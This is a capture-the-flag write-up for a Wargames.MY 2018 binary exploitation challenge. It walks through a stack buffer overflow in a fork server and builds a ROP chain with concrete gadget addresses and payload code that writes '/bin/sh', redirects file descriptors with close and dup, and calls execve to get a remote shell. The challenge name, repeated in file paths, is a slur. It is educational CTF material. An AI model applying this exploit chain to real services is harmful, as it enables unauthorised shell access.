Wargames.MY 2018 - faggot2.0 (pwn)

challenge

Static Analysis

The program was rather straightforward, running as a fork server with the following pseudocode.

int main() {
    int connectionfd;

    while(1) {
        int socketfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
        setsockopt(socketfd, SOL_SOCKET, SO_REUSEADDR, [1], 4);
        bind(socketfd, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("0.0.0.0")}, 16);
        listen(socketfd, 5);
        connectionfd = accept(socketfd, {sa_family=AF_INET, sin_port=htons(51320), sin_addr=inet_addr("127.0.0.1")}, [16]));

        if (!fork())    // if fork() == 0, then this is the child, then break out of listening loop
            break;
    }

    // ran by child process
    close(socketfd);

    char buf[15];
    read(connectionfd, buf, 0xf);
    int nbytes = atoi(buf);

    char biggerbuf[0x80];
    read(connectionfd, biggerbuf, nbytes);
}

To get the enums for the socket API functions easily, I ran strace on the challenge binary, which shows all system calls being called by the process.

As we can see, we can choose how many bytes we want to read. Immediate thought is to use ROP. A good place to learn ROP would be the ROP Emporium.

checksec ./challenge

[*] '/root/ctfs/wargamesmy/faggot2/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

CANARY and PIE were not enabled for this challenge, which makes things easier.

Exploitation

As the challenge binary itself implements the server, the best way to debug my exploit is by attaching GDB to the child process (aka the client) every time I want to test it.

For the sake of convenience, my terminal is set up this way.

workenv

The top left pane, running strace ./challenge, will tell me the pid of the child process, which I can attach to using GDB in the bottom left pane.

By passing in a De-Brujin pattern, we find that a padding of 152 bytes is needed until we reach the return address in the stack.

ROP Chain

As we are given an arbitrary amount of bytes to write, there aren’t really any restrictions on our ROP chain apart from the gadgets we can find.

Using ropper, I managed to find gadgets for controlling registers rax, rdi, rsi and rbp, and also to write eax into a memory relative to rbp.

POP_RAX_RET = 0x4009d2
POP_RDI_RET = 0x400ba3
POP_RBP_RET = 0x400840
POP_RSI_RET = 0x400ba1
SYSCALL = 0x4009d4
MOV_DWORD = 0x4009cf  # mov dword ptr [rbp - 8], eax; pop rax; ret

So now it’s all left to constructing the rop chain.

execve

The most convenient way is to just call execve("/bin/sh", 0, 0). But we need a pointer referring to memory containing the string "/bin/sh".

Looking into the mappings of the process, we can write into this region.

0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /root/ctfs/wargamesmy/faggot

With the gadgets found earlier, we can write "/bin/sh" into address 0x601500 4 bytes a time using eax.

# pop rbp, ret;  sets rbp to 0x601508
# pop rax, ret;  sets rax to "/bin\x00\x00\x00\x00", aka eax to "/bin/sh"
# mov dword ptr [rbp - 8], eax; pop rax; ret;  we can now write "/bin" into 0x601508

# now, do it again for "/sh\x00"
# skipping pop rax, ret because the previous gadget already contains it
# pop rbp, ret;
# mov dword ...

payload += p64(POP_RBP_RET) + p64(0x601508)
payload += p64(POP_RAX_RET) + "/bin\x00\x00\x00\x00"
payload += p64(MOV_DWORD) + "/sh\x00\x00\x00\x00\x00"
payload += p64(POP_RBP_RET) + p64(0x60150c)
payload += p64(MOV_DWORD) + p64(0)

With "/bin/sh" in place, we can point rdi to it, clear rsi, and set rax to 0x3b with is the syscall number of execve. We ignore rdx as it was fortunately already set to 0 by the program itself before reaching here.

# execve("/bin/sh", 0, 0);

payload += p64(POP_RDI_RET) + p64(0x601500)
payload += p64(POP_RSI_RET) + p64(0) + p64(0)
payload += p64(POP_RAX_RET) + p64(0x3b)
payload += p64(SYSCALL)           

Now we can run the send the payload and get our shell. But it doesn’t work? Nothing happens.

close and dup

Recall that when the server connects to our client, it uses a different file descriptor for IO instead of the standard stdin, stdout and stderr in 0, 1 and 2.

We need to replace 0, 1 and 2 with the file descriptor for our client. We can do that by first closing those 3 files, using the close syscall. Then use dup(connectionfd) to duplicate our client’s fd.

dup works by duplicating the information of the given file to the lowest file descriptor number possible that is not opened yet, in which case its 0, 1 and 2 which we just closed.

Similar to execve above, we can set our registers to replace the file descriptors.

# close(0); close(1); close(2)           
payload += p64(POP_RDI_RET) + p64(0)              
payload += p64(POP_RAX_RET) + p64(3)              
payload += p64(SYSCALL)
payload += p64(POP_RDI_RET) + p64(1)
payload += p64(POP_RAX_RET) + p64(3)                                                     
payload += p64(SYSCALL)
payload += p64(POP_RDI_RET) + p64(2)                                                     
payload += p64(POP_RAX_RET) + p64(3)
payload += p64(SYSCALL)

# dup(4)
payload += p64(POP_RDI_RET) + p64(4)
payload += p64(POP_RAX_RET) + p64(32)
payload += p64(SYSCALL)
payload += p64(POP_RDI_RET) + p64(4)
payload += p64(POP_RAX_RET) + p64(32)
payload += p64(SYSCALL)   

Now we can send the payload, and get a working shell!

Not quite yet. As you can see, we are duplicating the file number 4. This is based on the assumption that no other clients are connected to the server at this point in time. This is because 0, 1 and 2 are occupied by stdin, stdout and stderr, 3 is occupied by socketfd, making 4 the lowest available file number, which is assigned to the next client that connects. Depending on the setup of the challenge, if say there are 5 clients connected at this time, then we will be assigned file number 9.

Well, with the assumption that there aren’t a lot of teams in this CTF, we can run this exploit a few more times if it fails.

The full exploit script can be found here.